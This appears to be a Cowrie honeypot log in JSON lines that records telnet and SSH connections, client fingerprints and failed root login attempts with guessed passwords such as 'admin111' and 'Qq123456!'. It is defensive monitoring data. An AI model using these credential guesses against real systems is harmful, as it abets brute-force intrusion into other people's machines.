{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46350,"dst_ip":"10.17.0.5","dst_port":23,"session":"abd99fe36c97","protocol":"telnet","message":"New connection: 104.245.105.2:46350 (10.17.0.5:23) [session: abd99fe36c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:02.173110Z"}
{"eventid":"cowrie.session.closed","duration":32.66187310218811,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:02.818383Z","src_ip":"161.132.53.68","session":"3ebfdb388ed7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15267872810364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:04.948409Z","src_ip":"161.132.53.68","session":"f9ac9f6cdba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":55200,"dst_ip":"159.203.135.109","dst_port":23,"session":"032ae00a494a","protocol":"telnet","message":"New connection: 161.132.53.68:55200 (159.203.135.109:23) [session: 032ae00a494a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:12.865391Z"}
{"eventid":"cowrie.session.closed","duration":32.24712824821472,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:18.003094Z","src_ip":"161.132.53.68","session":"e998dd17a2a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":35730,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d554d5111a1","protocol":"telnet","message":"New connection: 193.22.147.168:35730 (10.17.0.5:23) [session: 2d554d5111a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:20.829518Z"}
{"eventid":"cowrie.session.closed","duration":31.533174514770508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:22.660404Z","src_ip":"161.132.53.68","session":"45891af691f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.429011821746826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:22.752082Z","src_ip":"161.132.53.68","session":"0111f5f2c7b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14218616485596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:26.341769Z","src_ip":"193.22.147.168","session":"0c3c8b893fdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.638624906539917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:33.811621Z","src_ip":"104.245.105.2","session":"abd99fe36c97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.614259958267212,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:36.443683Z","src_ip":"193.22.147.168","session":"2d554d5111a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":58302,"dst_ip":"159.203.135.109","dst_port":23,"session":"7df9b9d6a439","protocol":"telnet","message":"New connection: 161.132.53.68:58302 (159.203.135.109:23) [session: 7df9b9d6a439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:36.449636Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":46798,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcc8cc6504d2","protocol":"telnet","message":"New connection: 161.132.53.68:46798 (159.203.135.109:23) [session: bcc8cc6504d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:40.680095Z"}
{"eventid":"cowrie.session.closed","duration":30.832507848739624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:43.697742Z","src_ip":"161.132.53.68","session":"032ae00a494a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":44468,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8bea726da7a","protocol":"ssh","message":"New connection: 96.78.175.36:44468 (10.17.0.5:22) [session: f8bea726da7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:43.889310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:43.897928Z","src_ip":"96.78.175.36","session":"f8bea726da7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:43.981966Z","src_ip":"96.78.175.36","session":"f8bea726da7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin111","message":"login attempt [root/admin111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:44.336073Z","src_ip":"96.78.175.36","session":"f8bea726da7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:45.422650Z","src_ip":"96.78.175.36","session":"f8bea726da7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53478,"dst_ip":"159.203.135.109","dst_port":23,"session":"8081db4dbfb4","protocol":"telnet","message":"New connection: 161.132.53.68:53478 (159.203.135.109:23) [session: 8081db4dbfb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:50.099360Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":40544,"dst_ip":"159.203.135.109","dst_port":22,"session":"732f9dc4cf36","protocol":"ssh","message":"New connection: 165.154.6.69:40544 (159.203.135.109:22) [session: 732f9dc4cf36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:52.505563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:52.510480Z","src_ip":"165.154.6.69","session":"732f9dc4cf36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:52.734871Z","src_ip":"165.154.6.69","session":"732f9dc4cf36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"public","message":"login attempt [root/public] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:53.640517Z","src_ip":"165.154.6.69","session":"732f9dc4cf36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:54.862815Z","src_ip":"165.154.6.69","session":"732f9dc4cf36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":38532,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e547894e420","protocol":"telnet","message":"New connection: 193.22.147.168:38532 (10.17.0.5:23) [session: 5e547894e420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:58:56.208207Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42890,"dst_ip":"159.203.135.109","dst_port":23,"session":"797346315f0e","protocol":"telnet","message":"New connection: 161.132.53.68:42890 (159.203.135.109:23) [session: 797346315f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:06.522663Z"}
{"eventid":"cowrie.session.closed","duration":31.320852518081665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:07.770418Z","src_ip":"161.132.53.68","session":"7df9b9d6a439","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"151.236.162.80","src_port":16725,"dst_ip":"159.203.135.109","dst_port":23,"session":"21e763ba7a46","protocol":"telnet","message":"New connection: 151.236.162.80:16725 (159.203.135.109:23) [session: 21e763ba7a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:08.338739Z"}
{"eventid":"cowrie.session.closed","duration":30.82972812652588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:11.509581Z","src_ip":"161.132.53.68","session":"bcc8cc6504d2","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:14.731818Z","src_ip":"192.109.200.204","session":"ac72ccf1ce6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.27246165275574,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:14.746843Z","src_ip":"192.109.200.204","session":"ac72ccf1ce6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53798,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fadf2d9789d","protocol":"telnet","message":"New connection: 161.132.53.68:53798 (159.203.135.109:23) [session: 1fadf2d9789d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:19.862211Z"}
{"eventid":"cowrie.session.closed","duration":13.520383596420288,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:21.858989Z","src_ip":"151.236.162.80","session":"21e763ba7a46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.934118509292603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:22.033178Z","src_ip":"161.132.53.68","session":"8081db4dbfb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34186315536499,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:27.549699Z","src_ip":"193.22.147.168","session":"5e547894e420","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":51034,"dst_ip":"10.17.0.5","dst_port":22,"session":"72b6ad766159","protocol":"ssh","message":"New connection: 96.78.175.36:51034 (10.17.0.5:22) [session: 72b6ad766159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:36.258279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:36.266756Z","src_ip":"96.78.175.36","session":"72b6ad766159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:36.364923Z","src_ip":"96.78.175.36","session":"72b6ad766159","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@abcd","message":"login attempt [root/123@abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:36.707539Z","src_ip":"96.78.175.36","session":"72b6ad766159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":52422,"dst_ip":"10.17.0.5","dst_port":23,"session":"647caaedf24f","protocol":"telnet","message":"New connection: 193.22.147.168:52422 (10.17.0.5:23) [session: 647caaedf24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:36.995261Z"}
{"eventid":"cowrie.session.closed","duration":30.57440161705017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:37.096948Z","src_ip":"161.132.53.68","session":"797346315f0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:37.801887Z","src_ip":"96.78.175.36","session":"72b6ad766159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":36012,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a592bbe27fd","protocol":"ssh","message":"New connection: 88.205.172.170:36012 (10.17.0.5:22) [session: 4a592bbe27fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:40.420865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:40.425882Z","src_ip":"88.205.172.170","session":"4a592bbe27fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:40.585501Z","src_ip":"88.205.172.170","session":"4a592bbe27fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testing","message":"login attempt [root/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:41.255662Z","src_ip":"88.205.172.170","session":"4a592bbe27fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:42.418952Z","src_ip":"88.205.172.170","session":"4a592bbe27fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":58338,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d3147678798","protocol":"ssh","message":"New connection: 165.154.6.69:58338 (159.203.135.109:22) [session: 8d3147678798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:45.301357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:45.306616Z","src_ip":"165.154.6.69","session":"8d3147678798","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:45.519644Z","src_ip":"165.154.6.69","session":"8d3147678798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456!","message":"login attempt [root/Qq123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:46.401837Z","src_ip":"165.154.6.69","session":"8d3147678798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:47.621433Z","src_ip":"165.154.6.69","session":"8d3147678798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14056158065796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:59:51.002534Z","src_ip":"161.132.53.68","session":"1fadf2d9789d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59140,"dst_ip":"159.203.135.109","dst_port":23,"session":"600be8180544","protocol":"telnet","message":"New connection: 161.132.53.68:59140 (159.203.135.109:23) [session: 600be8180544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:00.713402Z"}
{"eventid":"cowrie.session.closed","duration":32.911499977111816,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:09.906644Z","src_ip":"193.22.147.168","session":"647caaedf24f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52288,"dst_ip":"159.203.135.109","dst_port":23,"session":"da6a69c89117","protocol":"telnet","message":"New connection: 161.132.53.68:52288 (159.203.135.109:23) [session: da6a69c89117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:11.527757Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.104.61.7","src_port":48354,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a96b8632e20","protocol":"telnet","message":"New connection: 5.104.61.7:48354 (159.203.135.109:23) [session: 9a96b8632e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:00:26.651649Z"}
